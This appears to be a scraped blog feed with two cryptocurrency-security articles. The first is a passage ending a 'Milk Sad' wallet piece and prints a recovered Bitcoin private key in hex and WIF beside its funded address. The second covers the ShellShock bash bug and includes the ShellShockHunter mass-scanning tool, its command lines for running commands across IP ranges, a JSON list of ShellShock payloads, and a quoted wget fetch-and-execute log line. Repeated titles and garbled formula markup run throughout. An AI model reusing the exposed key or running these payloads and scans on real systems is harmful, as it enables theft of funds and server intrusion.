    hexCode = hex(int(binaryCode, 2))
    hexCode = hexCode.replace("0x", "").upper().zfill(4)
    hexFile.write(hexCode + "\n")

# close hexFile
hexFile.close()
Milk Sad vulnerability in the Libbitcoin Explorer 3.x library, how the theft of $900,000 from Bitcoin Wallet (BTC) users was carried out

Let’s open the file:  hex.txt

cat hex.txt
Milk Sad vulnerability in the Libbitcoin Explorer 3.x library, how the theft of $900,000 from Bitcoin Wallet (BTC) users was carried out
79121F26459E0BA130B5FEDFC223E506E9144339535A6327DA8076FFADDA61BC

Private Key Found!


Let’s run the code to check the compliance of Bitcoin Addresses:

from bitcoin import *

with open("hex.txt","r") as f:
    content = f.readlines()
# you may also want to remove whitespace characters like `\n` at the end of each line
content = [x.strip() for x in content]
f.close()


outfile = open("privtoaddr.txt","w")
for x in content:
  outfile.write(x+":"+pubtoaddr(encode_pubkey(privtopub(x), "bin_compressed"))+"\n")
 
outfile.close()
Milk Sad vulnerability in the Libbitcoin Explorer 3.x library, how the theft of $900,000 from Bitcoin Wallet (BTC) users was carried out

Let’s open the file: privtoaddr.txt

cat privtoaddr.txt
Milk Sad vulnerability in the Libbitcoin Explorer 3.x library, how the theft of $900,000 from Bitcoin Wallet (BTC) users was carried out
79121F26459E0BA130B5FEDFC223E506E9144339535A6327DA8076FFADDA61BC:1GTBJsQvduQvJ6S6Cv6CsYA2Adj65aDRwe

Result:

79121F26459E0BA130B5FEDFC223E506E9144339535A6327DA8076FFADDA61BC:1GTBJsQvduQvJ6S6Cv6CsYA2Adj65aDRwe

That’s right! The private key corresponds to the Bitcoin Wallet.


Let’s open  bitaddress  and check:

ADDR: 1GTBJsQvduQvJ6S6Cv6CsYA2Adj65aDRwe
WIF:  L1H4Eu2et8TWYQ3kv9grtPGshikGN398MVJkN6zYMikcpQTB96UN
HEX:  79121F26459E0BA130B5FEDFC223E506E9144339535A6327DA8076FFADDA61BC
Milk Sad vulnerability in the Libbitcoin Explorer 3.x library, how the theft of $900,000 from Bitcoin Wallet (BTC) users was carried out

https://www.blockchain.com/en/explorer/addresses/btc/1GTBJsQvduQvJ6S6Cv6CsYA2Adj65aDRwe


Milk Sad vulnerability in the Libbitcoin Explorer 3.x library, how the theft of $900,000 from Bitcoin Wallet (BTC) users was carried out
Milk Sad vulnerability in the Libbitcoin Explorer 3.x library, how the theft of $900,000 from Bitcoin Wallet (BTC) users was carried out
Milk Sad vulnerability in the Libbitcoin Explorer 3.x library, how the theft of $900,000 from Bitcoin Wallet (BTC) users was carried out

BALANCE: $ 19886.91


References:


This material was created for the  CRYPTO DEEP TECH portal  to ensure financial security of data and elliptic curve cryptography  secp256k1  against weak  ECDSA signatures  in the  BITCOIN cryptocurrency. The creators of the software are not responsible for the use of materials.


Source

Telegram: https://t.me/cryptodeeptech

Video: https://dzen.ru/video/watch/65478a2f6d9f3f7ec9641804

Source: https://cryptodeeptech.ru/milk-sad-vulnerability-in-libbitcoin-explorer


Milk Sad vulnerability in the Libbitcoin Explorer 3.x library, how the theft of $900,000 from Bitcoin Wallet (BTC) users was carried out

Сообщение Milk Sad vulnerability in the Libbitcoin Explorer 3.x library, how the theft of $900,000 from Bitcoin Wallet (BTC) users was carried out появились сначала на «CRYPTO DEEP TECH».

]]>
ShellShock Attack vulnerability on “Bitcoin” & “Ethereum” server discovered in GNU Bash cryptocurrency exchange https://cryptodeeptech.ru/shellshock-attack-on-bitcoin/ Sat, 09 Sep 2023 11:12:23 +0000 https://cryptodeeptech.ru/?p=2387 In this article we will look at a series of web server software vulnerabilities discovered in the  GNU Bash program  . Many Internet services , including Bitcoin blockchain web servers, use Bash to process some requests, for example when executing  CGI scripts . The vulnerability allows an attacker to execute arbitrary commands by gaining unauthorized access to computer systems, which allows the attacker […]

Сообщение ShellShock Attack vulnerability on “Bitcoin” & “Ethereum” server discovered in GNU Bash cryptocurrency exchange появились сначала на «CRYPTO DEEP TECH».

]]>


In this article we will look at a series of web server software vulnerabilities discovered in the  GNU Bash program  . Many Internet services , including Bitcoin blockchain web servers, use Bash to process some requests, for example when executing  CGI scripts . The vulnerability allows an attacker to execute arbitrary commands by gaining unauthorized access to computer systems, which allows the attacker to extract private keys and hidden server data.

Shellshock is nothing buta remote code execution vulnerability in bash. This is because bash does not properly execute trailing commands when importing a function definition stored in an environment variable.

ShellShock Attack vulnerability on "Bitcoin" & "Ethereum" server discovered in GNU Bash cryptocurrency exchange

GitHub


BugShellshock affects Bash. Bash is a program that various Unix-based systems use to execute command lines and command scripts. The bug was discovered on August 5, 1989 and released in Bash version 1.03 on September 1, 1989. Shellshock is an escalation of privilege vulnerability that allows system users to execute commands that should not be available to them.

The vulnerabilities lie in the fact that Bash, contrary to its declared capabilities, executes commands when receiving some non-standard values ​​of environment variables . Within a few days after the publication of the original vulnerability, several similar errors were discovered, which prevented the prompt release of a version with fixes.

Stéphane Chazelas

ShellShock Attack vulnerability on "Bitcoin" & "Ethereum" server discovered in GNU Bash cryptocurrency exchange

The original bug was discovered by Stéphane Chazelas on September 12, 2014, who suggested calling it “bashdoor” (similar to  backdoor ). The vulnerability received  the number  CVE-2014-6271 in the  MITER database  and remained unpublished (under embargo) until 14:00 UTC on September 24. The purpose of the above restriction was to give the program authors, distribution creators and other interested organizations time to take the necessary measures.

Analysis of the Bash source code indicates that the vulnerability was introduced into the code around version 1.13 in 1992 or earlier and has remained undetected to the public and undeclared since then. The Bash writing team has difficulty pinpointing the exact time the bug was introduced due to the lack of detail in the changelog .

ShellShock Attack vulnerability on "Bitcoin" & "Ethereum" server discovered in GNU Bash cryptocurrency exchange

Security Experts Expect ‘Shellshock’ Software Bug in Bash to Be Significant

On September 25, 2014, botnets were already created based on the vulnerability to carry out DoS and DDoS attacks, as well as to scan for vulnerabilities. Millions of systems are believed to be vulnerable. The bug received the maximum rating on the severity scale and is compared in importance to Heartbleed – a bug in OpenSSL (April 2014)

ShellShock Attack vulnerability on "Bitcoin" & "Ethereum" server discovered in GNU Bash cryptocurrency exchange
ShellShock Attack vulnerability on "Bitcoin" & "Ethereum" server discovered in GNU Bash cryptocurrency exchange

The Shellshock (bashdoor) vulnerability relates to the  bash program  (developed as part of the GNU project), used in many Unix-like operating systems and distributions as a command line interpreter and for executing command scripts. Often installed as the default system interpreter.

On Unix-like and other bash-supported operating systems, each program has a list of name-value pairs called environment  variables . When one program runs another, the initial list of environment variables is also passed along. In addition to environment variables, bash also maintains an internal list of functions—named scripts that can be called from an executing bash script. When starting new bash instances from an existing bash, it is possible to transfer (  export ) the values ​​of existing environment variables and function definitions to the spawned process. Function definitions are exported by encoding them as new environment variables in a special format starting with empty parentheses (), followed by the function definition as a string. New instances of bash scan all environment variables when they start, detecting this format and converting it back into an internal function definition. This conversion is carried out by creating a fragment of bash code based on the value of the environment variable and executing it, that is, “on  -the- fly” . Affected versions of bash do not check that the executable fragment contains only a function definition. Thus, if an attacker is able to supply an arbitrary environment variable to bash startup, then it becomes possible to execute arbitrary commands.

On September 27, a high-quality patch was published that adds a special prefix to all exported and imported functions when converting them to environment variables and vice versa [15] .

On the same day that the original vulnerability and patches were published, Tavis Ormandy discovered a new related bug,  CVE-2014-7169 . Updated fixes became available on September 26th.

While working to fix the original Shellshock bug, Red Hat researcher Florian Weimer discovered two more bugs:  CVE-2014-7186  and  CVE-2014-7187 .

ShellShock Attack vulnerability on "Bitcoin" & "Ethereum" server discovered in GNU Bash cryptocurrency exchange

On September 26, 2014, two open-source developers, David A. Wheeler and Norihiro Tanaka, noticed that there were additional problems that were still not fixed by the patches available at that time. In an email to the oss-sec and bash bug mailing lists, Wheeler wrote:

This patch just continues the whack-a-mole work of fixing various parsing errors started by the first patch. The bash parser of course contains many, many, many other vulnerabilities.

On September 27, 2014, Michal Zalewski announced that he had discovered several other bugs in bash, one of which exploits the fact that bash is often compiled without using the ASLR (Address Space Layout Randomization ) protection technique. Zalewski also called for urgent application of the patch from Florian Weimer.

ShellShock Attack vulnerability on "Bitcoin" & "Ethereum" server discovered in GNU Bash cryptocurrency exchange

Address space randomization thwarts some types of security attacks by making it more difficult for an attacker to predict target addresses. For example, attackers attempting to perform  a return-to-libc_attack attack  must find the code to be executed, while other attackers attempting to execute  Shellcode  injected into the stack must first find the stack. In both cases, the system hides the corresponding memory addresses from attackers. These values ​​must be guessed, and an incorrect guess usually cannot be corrected due to application failure.

ShellShock Attack vulnerability on "Bitcoin" & "Ethereum" server discovered in GNU Bash cryptocurrency exchange
ShellShock Attack vulnerability on "Bitcoin" & "Ethereum" server discovered in GNU Bash cryptocurrency exchange

Randomization of the address space layout is based on the low probability that an attacker will guess the location of randomly placed regions. Security is improved by increasing the search space. Thus, address space randomization is more efficient when there is more  entropy present in the random offsets. Entropy increases either by increasing the size of the  virtual memory region  in which randomization occurs, or by decreasing the period during which randomization occurs. The period is usually implemented as small as possible, so most systems should increase the randomization of the VMA space.

To bypass randomization, attackers must successfully guess the positions of all the areas they want to attack. For data areas such as the stack and heap, where you can load your own code or payload, you can attack more than one state using  NOP slides  for code or duplicate copies of the data. This allows an attack to succeed if the region is randomized to one of several values. In contrast, areas of code such as the library base and the main executable must be accurately detected. Often these areas are mixed, such as  stack frames being pushed onto the stack and a library being returned to it.

The following variables can be declared:

  • {\displaystyle E_{s}}E_{s} (entropy bits of stack top)
  • {\displaystyle E_{m}}E_{m} (entropy bits of mmap() base)
  • {\displaystyle E_{x}}Former (entropy bits of main executable base)
  • {\displaystyle E_{h}}E_{h} (entropy bits of heap base)
  • {\displaystyle A_{s}}A_s (attacked bits per attempt of stack entropy)
  • {\displaystyle A_{m}}A_{m} (attacked bits per attempt of mmap() base entropy)
  • {\displaystyle A_{x}}A_x (attacked bits per attempt of main executable entropy)
  • {\displaystyle A_{h}}A_h (attacked bits per attempt of heap base entropy)
  • {\displaystyle \alpha }\alpha  (attempts made)
  • {\displaystyle N}N (total amount of entropy: {\displaystyle N=(E_{s}-A_{s})+(E_{m}-A_{m})+(E_{x}-A_{x})+(E_{h}-A_{h})\,}{\displaystyle N=(E_{s}-A_{s})+(E_{m}-A_{m})+(E_{x}-A_{x})+(E_{h}-A_{h})\,})

To calculate the attacker’s probability of success, we must assume that the number of attempts  α  were completed without being interrupted by a signature IPS, law enforcement, or other factor; in case of brute force, the daemon cannot be restarted. We also need to figure out how many bits matter and how many are attacked on each attempt, leaving as many bits for the attacker to defeat.

The following formulas represent the probability of success for a given set of  α  -attempts on  N  bits of entropy.

ShellShock Attack vulnerability on "Bitcoin" & "Ethereum" server discovered in GNU Bash cryptocurrency exchange

In many systems{\displaystyle 2^{N}} 2^Hcan be in the thousands or millions; on modern 64-bit systems these numbers typically reach into the millions, Hector Marco-Gisbert and Ismael Ripoll showed in 2014 how to bypass ASLR on 64-bit systems in less than one second under certain circumstances.  

On the Effectiveness of Full-ASLR on 64-bit Linux

ShellShock Attack vulnerability on "Bitcoin" & "Ethereum" server discovered in GNU Bash cryptocurrency exchange

For 32-bit systems at 2004 computer speeds, which have 16 bits for address randomization, Shacham and colleagues claim that “…16 bits of address randomization can be overcome with a Brute-force attack in minutes  .  “

ShellShock Attack vulnerability on "Bitcoin" & "Ethereum" server discovered in GNU Bash cryptocurrency exchange

  The authors’ claim depends on the ability to attack the same application multiple times without any delay. Proper ASLR implementations, such as those included in grsecurity, provide several ways to make such brute-force attacks impossible. One method involves preventing the executable from running for a configurable period of time if it fails a certain number of times.

Android, and perhaps other systems, will implement  library load order randomization  , a form of ASLR that randomizes the order in which libraries are loaded. This provides very little entropy. Below is the approximate number of bits of entropy provided for each required library; this does not yet take into account the different sizes of libraries, so the actual entropy obtained is indeed somewhat higher. Note that attackers usually only need one library; the math is more complex with multiple libraries and is also shown below. 

ShellShock Attack vulnerability on "Bitcoin" & "Ethereum" server discovered in GNU Bash cryptocurrency exchange

Note that the case where the attacker uses only one library is a simplification of a more complex formula:

ShellShock Attack vulnerability on "Bitcoin" & "Ethereum" server discovered in GNU Bash cryptocurrency exchange

These values ​​tend to be low even for large values ​​of  l  , which is most important since attackers can usually only use  the C standard library  , and so it can often be assumed that {\displaystyle \beta \,=1} \beta\,=1. However, even for a small number of libraries, some entropy gains can be achieved here; Thus, it is potentially interesting to combine library load order randomization with VMA address randomization to gain a few extra bits of entropy. Note that these extra bits of entropy will not apply to other mmap() segments, only to libraries.

Entropy Decrease:

https://youtube.com/watch?v=DH6FyNY-Gh0%3Fsi%3D5PHh9CqaafkiHKYg

List of vulnerabilities:

CVE-2014-6271

Original bashdoor: A special kind of environment variable consists of a definition of the exported function followed by arbitrary commands. Vulnerable versions of Bash execute these arbitrary commands during startup. Error example: env x='() { :;}; echo Vulnerable’ bash -c “echo Test print”

On vulnerable systems, this test will print the phrase “Vulnerable” by executing the command from the x environment variable.

CVE-2014-6277

As of September 29, details of the vulnerability had not been publicly disclosed .

CVE-2014-6278

As of September 29, details of the vulnerability had not been publicly disclosed.

ShellShock Attack vulnerability on "Bitcoin" & "Ethereum" server discovered in GNU Bash cryptocurrency exchange

CVE-2014-7169

ShellShock Attack vulnerability on "Bitcoin" & "Ethereum" server discovered in GNU Bash cryptocurrency exchange

Discovered by  Tavis Ormandy  while working on  CVE-2014-6271 :

env X='() { (a)=>\' sh -c "echo date"; cat echo

The test causes “echo” to become the filename to redirect the output to and “date” to be executed. The bug has received the number  CVE-2014-7169 .

ShellShock Attack vulnerability on "Bitcoin" & "Ethereum" server discovered in GNU Bash cryptocurrency exchange

An example of error 7169 on a system that received a fix for  CVE-2014-6271  but not for  CVE-2014-7169 : [32] $ X='() { (a)=>\’ bash -c “echo date” bash: X : line 1: syntax error near unexpected token `=’ bash: X: line 1: `’ bash: error importing function definition for `X’ [root@ ec2-user] # cat echo Fri Sep 26 01:37:16 UTC 2014

Fixing both  CVE-2014-6271  and  CVE-2014-7169  will break the test: $ X='() { (a)=>\’ bash -c “echo date” date $ cat echo cat: echo: No such file or directory

ShellShock Attack vulnerability on "Bitcoin" & "Ethereum" server discovered in GNU Bash cryptocurrency exchange

ShellShock Attack vulnerability on "Bitcoin" & "Ethereum" server discovered in GNU Bash cryptocurrency exchange

CVE-2014-7186

The error is caused by similar problems in Bash code but is affected by repeating “<<EOF” over and over again Testbash -c ‘true <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF’ || echo “Vulnerable by CVE-2014-7186, redir_stack” The vulnerable system will display the text “Vulnerable by CVE-2014-7186, redir_stack.”

CVE-2014-7187

The error is caused by similar problems in Bash code, but is affected by multiple repetitions of “done”Test( for x in {1..200} ; do echo “for x$x in ; do :”; done ; for x in {1. .200} ; do echo done ; done ) | bash || echo “Vulnerable by CVE-2014-7187, word_lineno” A vulnerable system will display the text “Vulnerable by CVE-2014-7187, word_lineno.”

ShellShock Attack vulnerability on "Bitcoin" & "Ethereum" server discovered in GNU Bash cryptocurrency exchange

Attack vectors

Within an hour after the Bash vulnerability was published, reports appeared of computer systems being hacked using it. On September 25, various “in the wild” attacks were confirmed, ranging from simple  DoS to the deployment of command & control servers   through the malicious “BASHLITE” system.

ShellShock Attack vulnerability on "Bitcoin" & "Ethereum" server discovered in GNU Bash cryptocurrency exchange

Kaspersky Labs Corporation reported that some of the infected computers launched a DDoS attack against three targets [8] . On September 26, the “wopbot” botnet was discovered, composed of servers infected through bashdoor, and used in DDoS against  Akamai Technologies CDN  and to scan US Department of Defense networks [7] .

There are several potential ways that an attacker could use to pass arbitrary environment variables to bash running on the target server:

CGI attack on Bitcoin blockchain web servers.

Web servers running  Common Gateway Interface  (CGI) scripts pass details about the user request through environment variables such as HTTP_USER_AGENT. If the request is processed by the Bash program, or another program that calls bash internally, then the attacker can replace the User-Agent string transmitted via http with the Shellshock attack trigger, adding his own commands. For example, the “ping” instruction with the attacker’s address can be used as such a command. Based on incoming ping requests, the attacker knows whether the attack worked.

ShellShock Attack vulnerability on "Bitcoin" & "Ethereum" server discovered in GNU Bash cryptocurrency exchange

Although CGI is an outdated interface with other security risks [37] , it is still used. For example, one of the standard  cPanel scripts [38] is vulnerable ; it is estimated that a vulnerable cPanel can be used on 2-3% of websites [39] .

Attack on SSH server

The OpenSSH SSH server   allows you to limit the user to a fixed set of available commands (the “ForceCommand” option). The fixed command is executed even if the user has requested the execution of another command. The requested command is then stored in the environment variable “SSH_ORIGINAL_COMMAND”. If a fixed command is executed in a Bash shell (if the user shell is installed in Bash), GNU Bash will detect the SSH_ORIGINAL_COMMAND values ​​embedded in the environment at startup, and, if vulnerable to Bashdoor, will execute the commands embedded there. Thus, an attacker with access only to a limited shell gains unrestricted access [3] .

ShellShock Attack vulnerability on "Bitcoin" & "Ethereum" server discovered in GNU Bash cryptocurrency exchange

The OpenSSH kit contains the following components: ssh Replacement for  rlogin  and  telnet .scp Replacement for  rcp , using the SFTP protocol in modern versions of OpenSSH   (previously the less reliable and flexible  SCP was used ). sftp Replacement for  the FTP client, using the  SFTP protocol .sshd Daemon , which actually provides secure access to resources. Includes an SFTP  server  implementation suitable  for providing  chroot access to users without having to copy any files inside chroot.sftp-server Separate implementation of the  SFTP subsystem  (server  part). It has more capabilities than the built-in  sshd .ssh-keygen Key pair generator .ssh-keysign Utility for checking host keys. Enabled when using host authentication (similar to  rsh ) instead of the default user authentication. ssh-keyscan Helper utility. Allows you to collect public keys from other hosts.ssh-agentHelper utility. Maintains  a cache of private keys. Caching allows you to avoid having to frequently enter a password to decrypt keys before using them. ssh-add Helper utility. Adds keys to the  ssh-agent cache .

Safe tunnels

Port Forwarding

Most programs use the  TCP protocol to establish a connection , the traffic of which can be transmitted through a secure tunnel. This way you can establish many additional TCP connections on top of a single SSH connection. This is useful for hiding connections and encrypting protocols that are insecure, as well as for bypassing firewall restrictions. UDP connections can sometimes also be tunneled using additional programs such as  netcat . The easiest protocols to tunnel are  HTTP ,  POP3  and  VNC .

ShellShock Attack vulnerability on "Bitcoin" & "Ethereum" server discovered in GNU Bash cryptocurrency exchange

Port forwarding is possible in any direction.

Additionally, some software can automatically use OpenSSH to create a tunnel. For example  DistCC ,  CVS ,  rsync , and  fetchmail .

Of the protocols that are more difficult to tunnel, it is worth noting  FTP , which can often be replaced by  SFTP , and  SMB . On some operating systems, remote  file systems  can be mounted via ssh using  shfs ,  lufs  and other similar components.

X Window System

OpenSSH allows you to securely organize connections to the X Window System, taking into account the “revolution” of semantics: the host SSH client for the X Window System is a server, and vice versa. To do this, OpenSSH performs additional operations such as setting the DISPLAY environment variable.

ShellShock Attack vulnerability on "Bitcoin" & "Ethereum" server discovered in GNU Bash cryptocurrency exchange

SOCKS

OpenSSH can be used as a special  SOCKS  proxy server that supports more flexible proxying than just port forwarding.

ShellShock Attack vulnerability on "Bitcoin" & "Ethereum" server discovered in GNU Bash cryptocurrency exchange

VPN

Since version 4.3, OpenSSH can use OSI layer 2 and layer 3 tunnel network interfaces   ( tun ). This way, you can organize a secure VPN and avoid the need to redesign applications to support SOCKS.

ShellShock Attack vulnerability on "Bitcoin" & "Ethereum" server discovered in GNU Bash cryptocurrency exchange
ShellShock Attack vulnerability on "Bitcoin" & "Ethereum" server discovered in GNU Bash cryptocurrency exchange

Authentication

The OpenSSH server can authenticate users using built-in authentication mechanisms:

  • Public keys,
  • Keyboard input (passwords and challenge-response),
  • Kerberos/GSS-API.

In addition, OpenSSH Portable can usually use authentication methods available on the specific operating system, such as  BSD Authentication  or  PAM .

DHCP client attack

A DHCP client typically requests an IP address from a DHCP server. However, the server may send several additional options that can be written to environment variables and lead to the exploitation of the Shellshock error on a computer or laptop connected to the local network.

ShellShock Attack vulnerability on "Bitcoin" & "Ethereum" server discovered in GNU Bash cryptocurrency exchange
ShellShock Attack vulnerability on "Bitcoin" & "Ethereum" server discovered in GNU Bash cryptocurrency exchange

Elevating privileges through setuid programs

A program with the setuid bit set can call bash directly, or indirectly through  system(3) , popen , and other system calls, without clearing environment variables. A Shellshock attack in such cases will allow a local user to escalate their own privileges to the owner of such a setuid program, often all the way to root (superuser).

ShellShock Attack vulnerability on "Bitcoin" & "Ethereum" server discovered in GNU Bash cryptocurrency exchange
ShellShock Attack vulnerability on "Bitcoin" & "Ethereum" server discovered in GNU Bash cryptocurrency exchange

Vulnerability of offline systems

The bug could potentially reach systems that are not connected to the Internet during offline processing with bash.


CVE-2014-6271 (Bash) is an easily exploitable vulnerability that can lead to very serious consequences. By exploiting this vulnerability, an attacker is able to execute system-level commands with the same privileges as the affected services.

In most cases occurring on the Internet today, cybercriminals remotely attack web servers that host CGI scripts written in bash.

Currently, the vulnerability has already been exploited by cybercriminals: vulnerable web servers have been infected with malware, and hacker attacks have also been carried out. Kaspersky Lab analysts are constantly discovering new malicious samples and cases of infection using this vulnerability. More information about this malware will be published soon.

It is important to understand that this vulnerability is not tied to a specific service, such as Apache or nginx. Rather, it is a vulnerability in the bash shell that allows an attacker to add system-level commands to bash environment variables.

How is the vulnerability exploited?

I will try to explain the principle of exploitation of the vulnerability using the examples given in information messages and published conceptual code. A CGI script hosted on a web server automatically reads certain environment variables such as IP address, browser version, and local system information.

Now imagine being able to not only pass this normal system information to a CGI script, but also have the script execute system-level commands. This means that as soon as the CGI script is accessed, it reads your environment variables – without any registration with the web server. If the environment variables contain the exploit string, the script will also execute the command you specify.


ShellShockHunter Tool v1.0

ShellShock Attack vulnerability on "Bitcoin" & "Ethereum" server discovered in GNU Bash cryptocurrency exchange

Shellshock (software bug)

Shellshock, also known as Bashdoor, is a family of security bugs in the Unix Bash shell, the first of which was discovered on September 24, 2014. Shellshock could allow an attacker to force Bash to execute arbitrary commands and gain unauthorized access to many Internet files. encounter services such as web servers that use Bash to process requests.

GIT CLONE

git clone https://github.com/MrCl0wnLab/ShellShockHunter

INSTALLATION pip

pip install shodan
pip install ipinfo

                                 ,'/
                               ,' /
                             ,'  /_____,
                           .'____    ,'    
                                /  ,'
                               / ,'
                              /,'
                             /'
     ____  _     _____ _     _     ____  _      ___       _    
    / ___|| |__ |___ /| |   | |   / ___|| |__  / _ \  ___| | __
    \___ \| '_ \  |_ \| |   | |   \___ \| '_ \| | | |/ __| |/ /
     ___) | | | |___) | |___| |___ ___) | | | | |_| | (__|   < 
    |____/|_| |_|____/|_____|_____|____/|_| |_|\___/ \___|_|\_\
             __   _   _             _              __                  
            | _| | | | |_   _ _ __ | |_ ___ _ __  |_ |                 
            | |  | |_| | | | | '_ \| __/ _ \ '__|  | |                 
            | |  |  _  | |_| | | | | ||  __/ |     | |                 
            | |  |_| |_|\__,_|_| |_|\__\___|_|     | |                 
            |__|                                  |__| v1.0                
              By: MrCl0wn / https://blog.mrcl0wn.com                                                                          
 
usage: tool [-h] [--file <ips.txt>] [--range <ip-start>,<ip-end>] [--cmd-cgi <command shell>] [--exec-vuln <command shell>] [--thread <10>] [--check] [--ssl] [--cgi-file <cgi.txt>] [--timeout <5>] [--all] [--debug]

optional arguments:
  -h, --help        show this help message and exit
  --file <ips.txt>  File targets
  --range <ip-start>,<ip-end>
                    Range IP Ex: 192.168.15.1,192.168.15.100
  --cmd-cgi <command shell>
                    Command: uname -a
  --exec-vuln <command shell>
                    Executing commands on vulnerable targets
  --thread <10>, -t <10>
                    Eg. 20
  --check           Checker vuln
  --ssl             Set protocol https
  --cgi-file <cgi.txt>
                    Set file cgi
  --timeout <5>     Set timeout conection
  --all             Teste all payloads
  --debug           Set debugs

COMMAND:

python main.py --range '194.206.187.X,194.206.187.XXX' --check --thread 40 --ssl

python main.py --range '194.206.187.X,194.206.187.XXX' --check --thread 10 --ssl --cgi-file 'wordlist/cgi.txt'

python main.py --range '194.206.187.X,194.206.187.XXX' --cmd 'id;uname -a' --thread 10 --ssl --cgi-file 'wordlist/cgi.txt'

python main.py --file targets.txt --cmd 'id;uname -a' --thread 10 --ssl --cgi-file 'wordlist/cgi.txt'

python main.py --file targets.txt --cmd 'id;uname -a' --thread 10 --ssl --cgi-file 'wordlist/cgi.txt' --all

python main.py --range '194.206.187.X,194.206.187.XXX' --check --thread 40 --ssl --cgi-file 'wordlist/cgi2.txt' --exec-vuln 'curl -v -k -i "_TARGET_"'

python main.py --range '194.206.187.X,194.206.187.XXX' --check --thread 40 --ssl --cgi-file 'wordlist/cgi2.txt' --exec-vuln './exploit -t "_TARGET_"'

What makes this vulnerability unique?

This vulnerability is extremely easy to exploit, which leads to extremely serious consequences – not least due to the number of vulnerable targets. This applies not only to web servers, but also to any software that uses the bash interpreter and reads data that you can control.

Analysts are currently investigating whether other interpreters such as PHP, JSP, Python and Perl are affected by this vulnerability. Depending on how the code is written, the interpreter may, in some cases, use bash to perform a number of functions. In this regard, the exploitation of the CVE-2014-6271 vulnerability can be carried out through other interpreters.

Exploitation of the vulnerability has serious consequences due to the fact that CGI scripts are widely used on many devices: routers, home devices and wireless access points. All of them are also vulnerable, and closing the vulnerability on them is often quite difficult.

PRINTS:

ShellShock Attack vulnerability on "Bitcoin" & "Ethereum" server discovered in GNU Bash cryptocurrency exchange

How widely is this vulnerability exploited?

It is difficult to give an exact answer to this question. According to Kaspersky Lab information services, the development of exploits and worms began immediately after the publication of information about the vulnerability. The search for vulnerable servers on the Internet is carried out by both white and black hackers.

There is not enough data yet to determine how widespread this vulnerability is . From my personal research, I know that many web servers run on CGI scripts. It is very likely that a large number of exploits will be developed in the future that target local files and network daemons. In addition, there are suspicions that OpenSSH and dhcp clients are also vulnerable to this type of attack.

ShellShock Attack vulnerability on "Bitcoin" & "Ethereum" server discovered in GNU Bash cryptocurrency exchange

How to check if there is a vulnerability in my system/website?

The easiest way to check your system for vulnerabilities is to open a bash shell on your system and run the following command:

1“env x='() { :;}; echo vulnerable’ bash  -c “echo this is a test”

If the shell returns the string “vulnerable”, the system needs to be updated.

For more experienced users, there are other tools that allow you to check your server for this vulnerability.

ShellShock Attack vulnerability on "Bitcoin" & "Ethereum" server discovered in GNU Bash cryptocurrency exchange

How to solve a problem?

First of all, you need to update the version of the bash environment. Patches for this vulnerability are available on various Linux distributions. And even though not all patches have proven to be 100% effective to date, you should start by installing them.

If you are using any intrusion detection and/or prevention system, it is also recommended to add/download a signature for this threat. Many public rules have been published.

Finally, check your web server configuration. If there are unused CGI scripts, consider disabling them.

{
    "DEFAULT":
        "() { :; }; echo ; /bin/bash -c '_COMMAND_'",
    "CVE-2014-6271": 
        "() { :; }; echo _CHECKER_; /bin/bash -c '_COMMAND_'",
    "CVE-2014-6271-2":
        "() { :;}; echo '_CHECKER_' 'BASH_FUNC_x()=() { :;}; echo _CHECKER_' bash -c 'echo _COMMAND_'",
    "CVE-2014-6271-3":
        "() { :; }; echo ; /bin/bash -c '_COMMAND_';echo _CHECKER_;",
    "CVE-2014-7169":
        "() { (a)=>\\' /bin/bash -c 'echo _CHECKER_'; cat echo",
    "CVE-2014-7186":
        "/bin/bash -c 'true <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF' || echo '_CHECKER_, redir_stack'",
    "CVE-2014-7187":
        "(for x in {1..200} ; do echo \"for x$x in ; do :\"; done; for x in {1..200} ; do echo done ; done) | /bin/bash || echo '_CHECKER_, word_lineno'",
    "CVE-2014-6278":
        "() { _; } >_[$($())] { echo _CHECKER_; id; } /bin/bash -c '_COMMAND_'",
    "CVE-2014-6278-2":    
        "shellshocker='() { echo _CHECKER_; }' bash -c shellshocker",
    "CVE-2014-6277":
        "() { x() { _; }; x() { _; } <<a; } /bin/bash -c _COMMAND_;echo _CHECKER_",
    "CVE-2014-*":
        "() { }; echo _CHECKER_' /bin/bash -c '_COMMAND_'"
}

Is there a threat to online banking?

The exploitation of this vulnerability is widely used in relation to servers located on the Internet. Even some workstations running Linux and OSX are vulnerable, but to carry out an attack, cybercriminals need to find an attack vector that allows them to remotely exploit the vulnerability on a specific workstation.

This threat is not aimed at individual users, but at servers located on the Internet. This means that if, for example, your favorite e-commerce or online banking site is vulnerable, attackers could theoretically hack the server and gain access to your personal data, including possibly banking information.

It’s difficult to say for sure which platforms may be vulnerable and targeted, but I would recommend not making credit card payments or sharing sensitive information online for the next couple of days until virus analysts clear up the situation.

{
    "config": {
        "threads": 10,
        "path": {
            "path_output": "output/",
            "path_wordlist": "wordlist/",
            "path_modules": "modules/",
            "path_assets": "assets/"
        },
        "files_assets":{
            "config": "assets/config.json",
            "autor": "assets/autor.json",
            "exploits": "assets/exploits.json"
        },
        "api":{
            "shodan":"",
            "ipinfo":""
        }
    }
}

How can I determine if I have been targeted by an attack using this vulnerability?

We recommend reviewing your HTTP logs for suspicious activity, such as this:

1192.168.1.1 – – [25/Sep/2014:14:00:00 +0000] “GET / HTTP/1.0” 400 349 “() { :; }; wget -O /tmp/besh http://192.168.1.1/filename; chmod 777 /tmp/besh; /tmp/besh;”

There are also some patches for the bash environment that log every command passed to the bash interpreter, allowing you to see if your computer has been attacked. They will not protect you from an attack that exploits this vulnerability , but they will log the attacker’s actions on your system.

│   ├── autor.json
│   ├── config.json
│   ├── exploits.json
│   └── prints
│       ├── banner.png
│       ├── print01.png
│       ├── print02.png
│       └── print03.png
├── main.py
├── modules
│   ├── banner_shock.py
│   ├── color_shock.py
│   ├── file_shock.py
│   ├── __init__.py
│   ├── request_shock.py
│   ├── shodan_shock.py
│   └── thread_shock.py
├── output
│   └── vuln.txt
├── README.md
└── wordlist
└── cgi.txt

How serious is this threat?

The threat is indeed serious, but not every system is vulnerable. Thus, for a successful attack on a web server, a number of conditions must be met. One of the biggest problems now is that after patches are published, researchers begin to look for other ways to exploit the bash environment, analyze the various conditions that make exploitation possible, etc. In this regard, a patch that protects against remote code execution will not be able to prevent, for example, overwriting a file. Apparently, a number of patches will be published in the future, and until then the systems will remain vulnerable.

